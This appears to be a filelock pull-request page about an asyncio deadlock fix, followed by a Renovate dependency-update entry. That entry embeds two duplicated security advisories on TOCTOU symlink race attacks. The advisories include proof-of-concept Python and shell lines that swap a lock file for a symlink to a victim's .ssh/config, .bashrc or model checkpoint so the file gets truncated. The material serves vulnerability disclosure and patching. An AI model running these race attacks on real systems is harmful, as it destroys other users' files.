asyncio: detect cross-instance reentrant deadlocks before the poll loop - #586
Merged
gaborbernat merged 3 commits intoJul 7, 2026
Merged
Conversation
BaseFileLock.acquire carries a per-thread 'would-block' check that looks
up the canonical lock path in the thread-local _registry and raises
RuntimeError('Deadlock: ...') when a different instance is already
holding the same path. The check was never ported to BaseAsyncFileLock:
two distinct AsyncFileLock objects constructed against the same path
from the same task happily enter the polling loop, the second one
blocks forever in flock() (or polls in soft mode), and there is no way
for the caller to recover.
Mirror the sync flow inside async acquire():
1. After lock_counter += 1, compute the canonical path and look up
the existing holder. If a different instance is the holder and the
caller asked for indefinite blocking (timeout<0), raise the
same RuntimeError before the poll starts. Same finite/non-blocking
exceptions (Timeout) still apply when timeout >= 0 or blocking
is False, matching the sync precedence.
2. On the polling exception path, mirror the sync _registry.held.pop
on lock_counter == 0 so a failed acquire cleans its would-be entry.
3. On success, write self's id into the registry when lock_counter
reaches 1, so a future cross-instance acquire on the same path
can find it.
4. On release, pop the registry entry the same way the sync
release() does — without this the stale id would linger and
confuse the next cross-instance acquire.
The thread-local scope of _registry fits the asyncio model where one
task typically runs on one thread; concurrent tasks on the same thread
that legitimately want the same path (with finite timeout) are still
governed by the existing _check_give_up / Timeout path and are not
false-positives because would_block requires timeout < 0.
New tests in tests/test_async_self_deadlock.py mirror the existing
sync test_self_deadlock.py cases (same-task different-instance raises,
finite timeout still raises Timeout, non-blocking still raises Timeout,
different paths no conflict, same instance reentrant, singleton
short-circuits, different tasks no false positive, symlink to same
canonical path, cleanup on release, force release clears registry).
20 cases; the two cross-instance and two symlink cases hang
indefinitely on the unfixed code, the other 16 already pass.
The async acquire/release copied the whole cross-instance deadlock check
and _registry bookkeeping from the sync path verbatim, leaving two copies
of the counter/registry invariants and two near-identical messages to
keep in step.
Move the guard, the failed-acquire rollback, the success record and the
release cleanup onto BaseFileLock as _raise_if_would_deadlock,
_undo_acquire, _commit_acquire and _drop_registry_entry, and have both
acquire paths call them. The message noun ("thread" vs "task") is the
only per-flavor difference, so it moves to the _deadlock_holder_desc
class attribute. asyncio.py no longer imports _registry.
Fix the codespell failure (behaviour) and drop the test docstrings to
match the terse sync sibling in test_self_deadlock.py.
The sync and async self-deadlock tests lived in dedicated test_self_deadlock.py / test_async_self_deadlock.py files. Move them into test_filelock.py and test_async_filelock.py next to the rest of each flavor's coverage, matching how the other behaviours are organised, and drop the now-empty files. Names are unchanged except test_cleanup_on_release becomes test_deadlock_registry_cleanup_on_release, which is no longer self-evident once it sits among unrelated release tests.
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in 